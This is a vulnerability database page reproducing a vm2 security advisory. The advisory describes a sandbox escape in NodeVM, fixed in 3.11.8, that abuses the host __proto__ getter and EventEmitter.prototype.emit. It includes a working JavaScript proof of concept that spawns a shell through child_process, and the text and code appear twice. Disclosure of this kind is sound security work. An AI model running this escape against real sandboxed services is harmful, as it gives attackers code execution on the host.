← Back to CVE List
CVE-2026-92955NVD
Vulnerability Summary
## Summary
It being possible to obtain the host `__proto__` getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)
## Details
The prototype chain for `console._stdout`/`console._stderr` is:
```
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
```
`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`
By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.
This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor.
## PoC
```js
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);
```
It being possible to obtain the host `__proto__` getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)
## Details
The prototype chain for `console._stdout`/`console._stderr` is:
```
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
```
`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`
By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.
This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor.
## PoC
```js
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);
```
CVSS v4.0 Base Metrics — Score 10.0
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)High
CVSS v3.1 Base Metrics — Score 10.0
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- vm2 <= 3.11.7
Not provided by Private for this CVE.
External References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85
- https://nvd.nist.gov/vuln/detail/CVE-2026-92955
- https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm
- https://github.com/advisories/GHSA-88hf-g992-jg85